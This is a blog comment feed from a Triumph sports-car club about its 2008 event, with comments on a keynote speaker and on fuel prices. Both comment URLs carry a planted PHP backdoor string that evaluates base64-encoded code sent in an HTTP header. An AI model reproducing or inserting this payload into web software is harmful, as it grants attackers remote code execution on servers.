Comments for VTR's 2008 North American Triumph Challenge http://vtr.org/2008blog Can't be there? Read about it here! Wed, 08 Sep 2010 23:20:15 +0000 http://wordpress.org/?v=2.6 Comment on by billandted2003 http://vtr.org/2008blog/2008/08/09/111/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-6 billandted2003 Mon, 24 Aug 2009 00:17:22 +0000 http://vtr.org/2008blog/?p=111#comment-6 I agree the NATC in 2008 was really something special. Keynote Speaker, author Burt Levy was outstanding. I believe that man deserves an article at americantriumphjournal.com I agree the NATC in 2008 was really something special. Keynote Speaker, author Burt Levy was outstanding. I believe that man deserves an article at americantriumphjournal.com

]]> Comment on Are Fuel Prices Effecting Attendance? by Blake Discher http://vtr.org/2008blog/2008/07/31/are-fuel-prices-effecting-attendance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3 Blake Discher Thu, 31 Jul 2008 15:43:57 +0000 http://vtr.org/2008blog/?p=48#comment-3 Good post Richard. I did some math on this topic because the planning committee has kept one eye on the price of gas as we've progressed through the last year and one half. With some assumptions: a 300-mile each way drive (about a six-hour drive) for a total of 600 miles driven round trip, and a Triumph that gets 25 MPG, and last an increase in fuel per gallon of $1.20 as you indicate, the increased cost for a person driving to the event in their TR would be $28.80. That's all! I think there is a huge psychological barrier to that $4 per gallon mark and that indeed may have influenced some in their decision to not attend. Good post Richard. I did some math on this topic because the planning committee has kept one eye on the price of gas as we’ve progressed through the last year and one half.

With some assumptions: a 300-mile each way drive (about a six-hour drive) for a total of 600 miles driven round trip, and a Triumph that gets 25 MPG, and last an increase in fuel per gallon of $1.20 as you indicate, the increased cost for a person driving to the event in their TR would be $28.80. That’s all!

I think there is a huge psychological barrier to that $4 per gallon mark and that indeed may have influenced some in their decision to not attend.

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